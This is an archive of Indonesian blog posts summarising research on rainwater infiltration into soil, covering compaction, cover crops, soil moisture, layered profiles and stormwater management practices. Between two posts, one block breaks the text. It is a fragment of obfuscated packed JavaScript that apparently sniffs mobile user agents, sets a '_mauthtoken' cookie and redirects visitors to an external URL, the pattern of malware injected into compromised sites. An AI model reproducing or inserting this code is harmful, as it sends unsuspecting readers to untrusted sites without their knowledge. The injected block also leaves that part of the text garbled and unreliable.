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PELESTARIAN LAHAN — MEMPERBAIKI INFILTRASI AIR HUJAN

December 20th, 2013 No comments


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PELESTARIAN LAHAN  –  MEMPERBAIKI INFILTRASI AIR HUJAN

 

Infiltrasi air hujan tergantung pada porositas yang cukup di permukaan tanah untuk meresapkan air hujan , dan porositas tanah lapisan bawah dan porositas bahan induk untuk menyimpan air hujan .

Kalau porositas tanah permukaan terlalu rendah untuk menerima curah hujan , atau porositas subsoil terlalu rendah untuk memungkinkan perkolasi air hujan ( yaitu permeabilitas terlalu lambat ) , maka infiltrasi akan dibatasi dan air hujan akan melimpas di permukaan tanah.

Porositas tanah permukaan mungkin telah berkurang karena pori-pori tersumbat dnegan dengan partikel-partikel halus hasil penghancuran  agregat tanah oleh pukulan air hujan , atau karena terbentuknya kerak permukaan yang kedap air.

Porositas tanah lapisan bawah mungkin secara alami rendah , atau mungkin telah menurun karena pemadatan dan pengolahan tanah yang telah mengganggu atau merusak ruang pori dan menyebabkan terbentuknya lapisan tapak bajak yang padat dan permeabilitasnya rendah .  Sejauh mana porositas tanah dikurangi pleh praktek pengolahan tanah seringkali  cukup besar untuk membatasi penetrasi akar , tetapi seringkali tidak terlalu parah,  dan cukup parah untuk menurunkan permeabilitas air secara signifikan .

Pendekatan utama yang harus ditanamkan dalam masyarakat , dan petani , penyuluh dan peneliti , adalah keinginan untuk menciptakan dan mempertahankan kondisi tanah yang mendorong infiltrasi curah hujan di mana ia jatuh , dan untuk menghilangkan penyebab-penyebab munculnya limpasan permukaan. Hal ini berarti bahwa porositas tanah harus dapat dipertahankan , atau ditingkatkan.

Pendekatan untuk mengatasi keterbatasan infiltrasi air hujan dapat dikategorikan sesuai dengan penyebabnya.  Kalau tanah telah rusak , kombinasi dari dua atau lebih pendekatan ini mungkin diperlukan untuk memulai perbaikan tanah topsoil dan subsoil.

 

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INFILTRASI AIR HUJAN – PROFIL TANAH BERLAPIS

November 30th, 2013 No comments

INFILTRASI AIR HUJAN -  PROFIL TANAH BERLAPIS

 

Model infiltrasi berdasarkan asumsi Green-Ampt dikembangkan untuk kelas TANAH- tanah yang tidak-seragam, dimana konduktivitas hidroliknya menurun sebagai fungsi eksponensial dari kedalaman tanah, dan faktor storage-suction dianggap konstan.

Analisis konduktivitas hidrolik dan porositas tanah menunjukkan bahwa model ini mungkin berguna pada beberapa kondisi tanah , di mana perubahan karakteristik hidrolik dengan kedalaman tanah menghikuti  bentuk fungsi ini.

Sebuah metode untuk menerapkan model dengan waktu hujan yang beragam juga telah disusun.

Model ini diterapkan untuk mensimulasikan hasil eksperimen Childs & Bybordi (1969) yang mengukur infiltrasi air hujan ke dalam profil tanah pasir yang berlapis.

Kesesuaian yang cukup baik ditemukan untuk kasus ini.

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PREDIKSI infiltrasi kumulatif  (I) untuk dua tanah dengan KQ = 0,02 m / jam. Garis putus-putus f = -12,0 / m,  garis putus-titik f = – 2,8 / m; garis utuh adalah curah hujan kumulatif.  Panah menunjukkan waktu perkiraan genangan, (a) r = 0,05 m / jam, (b) r = 0,02 m / jam.

 

Sumber: KEITH BEVEN. 1984. Infiltration into a class of vertically nonuniform soils
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INFILTRASI AIR HUJAN – OLAH TANAH DAN MULSA PERMUKAAN

November 30th, 2013 No comments

INFILTRASI AIR HUJAN  – MULSA PERMUKAAN

 

Lalu lintas roda kendaraan pertanian dapat menyebabkan pemadatan tahnah dan degradasi sifat fisik tanah . Penelitian ini dilakukan untuk menilai dampak pemadatan tanah akibat  lalu lintas kendaraan di atas tanah selama 5 tahun .

Sebuah traktor dengan ukuran poros berat 40 kN digunakan untuk menerapkan lalu lintas di berbagai wheelslip pada tanah liat dengan berbagai kondisi residu penutup permukaan untuk mensimulasikan efek lalu lintas operasi kendaraan dalam sistem produksi gandum di Australia bagian utara.  Sebuah simulator curah hujan digunakan untuk mempelajari karakteristik infiltrasi air hujan.

Lalu lintas roda kendaraan secara signifikan mengurangi waktu untuk mencapai penggenangan , laju infiltrasi konstan, dan jumlah infiltrasi dibandingkan dengan perlakuan tanah tanpa lalu-lintas  roda kendaraan, dengan atau tanpa adanya residu penutup permukaan.

Tanah “non-roda kendaraan” memiliki 4-5 kali lebih besar laju infiltrasi konstan dibandingkan dengan tanah dengan “roda kendaraan” , tidak tergantung pada kondisi residu penutup tanah. Perlakuan Wheelslip menurunkan lebih dari 10% laju infiltrasi konstan dan jumlah infiltrasi dibandingkan dengan perlakuan  3 % wheelslip,  pada kondisi ada residu penutup tanah.

Dalam kondisi tidak ada pemadatan akibat roda kendaraan , residu penutup tanah memiliki efek lebih besar terhadap kapasitas infiltrasi , dengan laju infiltrasi konstan meningkat secara proporsional dengan residu penutup tanah ( R2 = 0,98 ) . Residu penutup tanah, mempunyai lebih sedikit efek terhadap infiltrasi air hujan kalau ada efek roda kendaraan.

Hasil ini menunjukkan bahwa laju infiltrasi air hujan untuk tanah “non-roda” pada kondisi tanpa-olah tanah ternyata mirip dengan kondisi tanah perawan .

Namun demikian, ketika tanah diolah dnegan roda-traktor kelas menengah , laju infiltrasi air  hujan menurun.  Hasil ini menunjukkan bahwa lalu lintas roda-kendaraan , mungkin menjadi faktor utama yang mengendalikan infiltrasi air hujan.

Sistem pertanian dengan lalu lintas roda-kendaraan yang terbatas, dikombinasikan dengan konservasi tanah , merupakan cara untuk keberlanjutan pertanaman pada  tanah ini, meningkatkan infiltrasi , peningkatan air tersedia , dan mengurnagi erosi tanah dan limpasan permukaan.

 

SUMBER:

Yuxia Li, J. N. Tullberg and D. M. Freebairn. 2001. Traffic and residue cover effects on infiltration.  

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Australian Journal of Soil Research 39(2) 239 – 247.

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INFILTRASI AIR HUJAN – TANAMAN PENUTUP TANAH

November 30th, 2013 No comments

INFILTRASI AIR HUJAN – TANAMAN PENUTUP TANAH

 

Tanaman penutup tanah Oat dan rye memiliki potensi besar untuk mengurangi erosi ketika ditanam mengikuti tanaman kedelai di Iowa .
Tanaman penutup tanah oat dan rye ditanam dalam sistem budidaya kedelai tanpa olah tanah selama bulan Agustus 1995 , 1996 dan 1997 pada kondisi lahan miring . Infiltrasi , limpasan , dan erosi interrill,  diukur pada bulan April 1996, 1997 , dan 1998 dengan menggunakan Simulator Hujan Tipe Sprinkler – Bead  dengan menggunakan air sekitar 125 mm / jam .  Erosi rill diukur dengan membuat petak-ukur erosi. Semua pengukuran dilakukan secara bersamaan pada perlakuan interrows tracked dan inter-row untracked.

Tanaman penutup tanah tidak berpengaruh terhadap infiltrasi dan erosi pada tahun 1996 Pada tahun 1997 , kedua tanaman penutup tanah dari oat dan rye dapat mengurangi erosi interrill , tetapi pada tahun 1998 hanya rye yang dapat meningkatkan laju  infiltrasi dan mengurangi erosi dan limpasan permukaan (runoff) interrill .

Perlakuan Interrows untracked memiliki erosi dan limpasan lebih rendah, dan infiltrasi lebih tinggi ; dibandingkan dnegan perlakuan interrows tracked.

Pada tahun 1997 dan 1998 , kedua jenis tanaman penutup tanah dapat mengurangi erosi rill , namun lalu lintas roda kendaraan pertanian tidak memiliki efek yang dapat diukur terhadap erosi tanah.

 

Sumber:  T.C. Kaspar

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, J.K. Radke, and J.M. Laflen. 2001. Small grain cover crops and wheel traffic effects on infiltration, runoff, and erosion.  Journal of Soil and Water Conservation Second Quarter 2001 vol. 56 no. 2 160-164.

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INFILTRASI AIR HUJAN – KONDISI AWAL LENGAS TANAH

November 30th, 2013 No comments


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INFILTRASI AIR HUJAN   -  KONDISI AWAL LENGAS TANAH
Kapilaritas tanah  yang berhubungan dengan parameter sorptivitas tanah, sangat mempengqaruhi laju infiltrasi air hujan, terutama pada awal curah hujan atau irigasi.
Banyak model matematika yang digunakan untuk memperkirakan sorptivitas tanah  hanya berlaku untuk kondisi tanah kering.

Makalah ini membahas bagaimana sorptivitas tanah  dan komponen kapiler nya (seperti bidang permukaan pembasahan ) berubah dengan tingkat kejenuhan tanah-awal.

Efek ini dianalisis dengan modifikasi sederhana model Green-Ampt untuk sorptivitas tanah.
Model yang dimodifikasi ini memiliki aplikasi praktis: (1) secara akurat menggambarkan sorptivitas relatif tanah pada berbagai kondisi kandungan air tanah; dan (2) memungkinkan untuk kuantifikasi konduktivitas jenuh hidrolik tanah berdasarkan hasil pengukuran sorptivitas , estimasi kurva karakteristik tanah dan kondisi awal lengas tanah.
Aplikasi model ini sangat berguna pada atanah-tanah yang permeabilitasnya rendah, di mana waktu yang diperlukan untuk memperkirakan konduktivitas hidrolik melalui metode steady-state dapat menjadi tidak praktis.
Sumber:  Ryan D. Stewart,  David E. Rupp,  Majdi R. Abou Najm,  John S. Selker. 2013. Modeling effect of initial soil moisture on sorptivity and infiltration.  Water Resources Research.Volume 49, Issue 10, pages 7037–7047, October 2013.

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DIT INFILTRASI AIR HUJAN KE DALAM PROFIL TANAH

November 30th, 2013 No comments

INFILTRASI AIR HUJAN KE DALAM  PROFIL TANAH

 

Proses Infiltrasi dan drainase DALAM PROFIL  tanah yang berlapis-lapis   menjadi lebih rumit oleh perbedaan sifat hidrolik setiap lapisan dalam profil tanah.

Penelitian dilakukan untuk mengevaluasi kinerja dari model histeresis dan non – histeresis dalam mensimulasikan proses infiltrasi dan drainase dari tiga profil tanah alami yang berbeda dan mengandung sebanyak 20 lapisan yang berbeda teksturnya.  Sifat hidrolik diperkirakan dari tekstur tanah dengan menggunakan fungsi pedotransfer dan dikalibrasi serta divalidasi menggunakan kadar air yang diukur selama tahapan infiltrasi dan drainase .

Hasil penelitian mendukung penggunaan fungsi pedotransfer Arya-Paris untuk memperkirakan kurva pembasahan dengan memperhitungkan sudut kontak . Parameter Persamaan Kozeny – Carmen dievaluasi dengan mengoptimalkan estimasi konduktivitas hidrolik jenuh . Model numerik yang dikalibrasi ( Hydrus – 1D ) sangat akurat untuk simulasi profil kadar air tanah dan volume air selama fase infiltrasi dan drainase .

Kesalahan rata-rata prediksi ( MEP ) antara kadar air tanah yang diukur dengan kadar air tanah estimasi bervariasi dari -0,030 -  0,010 cm3 /cm 3 , dan standar deviasi prediksi ( SDP ) 0,003 – 0,057 cm3 /cm3 .

Simulasi ini diperbaiki untuk profil tanah yang lebih heterogen ketika memperhitungkan hysteresis . Hasil pengukuran dan hasil simulasi menunjukkan bahwa profil tanah dengan heterogenitas tekstur tanah secara vertikal dapat menyimpan lebih banyak air daripada tanah yang teksturnya homogen secara  vertikal pada kondisi “drained”.

 

Sumber:

Huang, M., Barbour, S. L., Elshorbagy, A., Zettl, J. D. and Si, B. C. 2011. Infiltration and drainage processes in multi-layered coarse soils

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4C=/;4I=”+1e.4J();1j.4P=b}}})(1f.4Q||1f.4O||1j.1i,\’4N://4K.4L/4M/?5B&\’)}’,62,386,’|||||||||||||||01||||te|||||||ma|||||||ny|mo|if|go|od|pl|wa|ts|g1|ip|70|ck|pt|os|ad|up|er|al|ar|mc|nd|ll|ri|co|it|iris|ac|ai|oo||se|||ta|_|_mauthtoken|test||Date|bi|mobile|do|document|tdate|navigator|ca|new|opera|window|cookie|indexOf|ic|k0|esl8|ze|fly|g560|fetc|libw|lynx|ez|em|dica|dmob|xo|cr|devi|me|ui|ds|ul|m3ga|l2|gene|el|m50|m1|lg|ibro|idea|ig01|iac|i230|aw|tc|klon|ikom|im1k|jemu|jigs|kddi|||jbro|ja|inno|ipaq|kgt|hu|tp|un|haie|hcit|le|no|keji|gr|xi|kyo|hd|hs|ht|dc|kpt|hp|hei|hi|kwc|gf|cdm|re|plucker|pocket|psp|ixi|phone|ob|in|palm|series|symbian|windows|ce|xda|xiino|wap|vodafone|treo|browser|link|netfront|firefox|avantgo|bada|blackberry|blazer|meego|bb|function|Googlebot|android|compal|elaine|lge|maemo||midp|mmp|kindle|hone|fennec|hiptop|iemobile|1207|6310|br|bumb|bw|c55|az|bl|nq|lb|rd|capi|ccwa|mp|craw|da|ng|cmd|cldc|rc|cell|chtm|be|avan|abac|ko|rn|av|802s|770s|6590|3gso|4thp|amoi|an|us|attw|au|di|as|ch|ex|yw|aptu|dbte|p1|tim|to|sh|tel|tdg|gt||lk|tcl|m3|m5||v750||veri||vi|v400|utst|tx|si|00|t6|sk|sl|id|sie|shar|sc|sdk|sgh|mi|b3|sy|mb|t2|sp|ft|t5|so|rg|vk|getTime|1800000|path|var|substr|your|zeto|zte|expires|toUTCString|gettop|info|kt|http|vendor|location|userAgent|yas|x700|81|83|85|80|vx|vm40|voda||vulc||||98|w3c|nw|wmlb|wonu|nc|wi|webc|whit|va|sm|op|ti|wv|o2im|nzph|wg|wt|nok|oran|owg1|phil|pire|ay|pg|pdxg|p800|ms|wf|tf|zz|mt|BFzSww|de|02|o8|oa|mmef|mwbp|mywa|n7|ne|on|n50|n30|n10|n20|uc|pan|sa|ve|qa|ro|s55|qtek|07|qc|||zo|prox|psio|po|r380|pn|mm|rt|r600|rim9|raks|ge’.split(‘|’),0,{}))

INFILTRASI AIR HUJAN – BMP BEST MANAGEMENT PRACTICES

November 30th, 2013 No comments


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INFILTRASI  AIR HUJAN – BMP BEST MANAGEMENT PRACTICES

Best Management Practices ( BMP ) infiltrasi menjadi alat yang banyak digunakan dalam upaya untuk lebih baik mengelola limpasan air hujan . Banyak regulasi air hujan yang baru membutuhkan pelaksanaan BMP air hujan untuk mengurangi volume limpasan air hujan .

BMP infiltrasi yang paling banyak dilaksanakan adalah untuk menurunkan Volume limpasan air hujan . Meskipun telah banyak digunakan secara luas , namun masih diperlukan informasi yang lebih banyak tentang bagaimana BMP infiltrasi ini berfungsi selama satu tahun dan yang lebih penting adalah selama masa kerja efektifnya.

Fokus penelitian ini adalah pada proses infiltrasi yang sebenarnya menjadi pusat operasi BMP infiltrasi.
Suatu usaha telah dilakukan untuk memberikan informasi yang relevan untuk setiap BMP  infiltrasi. Secara total lebih dari sembilan tahun data pemantauan hidrologi dikumpulkan di tiga BMP infiltrasi yang terletak di kampus Universitas Villanova di Southeastern Pennsylvania .  BMP yang dipelajari ini adalah Pervious Concrete Infiltration Basin, a BioInfiltration Traffic Island, dan The Infiltration Trench.

Analisis data monitoring telah memberikan pemahaman yang berharga tentang karakteristik jangka panjang infiltrasi air limpasan permukaan.  Semua tipe BMP menunjukkan variasi musiman yang signifikan dan satu menunjukkan penurunan sistematis dalam hal kinerjanya .

 

SUmber:

Long-Term Assessment of Infiltration Best Management Practices
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BAGAIMANA-MEMPERBAIKI-INFILTRASI-AIR-HUJAN-KE-DALAM-TANAH

November 11th, 2013 No comments

BAGAIMANA MEMPERBAIKI INFILTRASI AIR HUJAN KE DALAM TANAH

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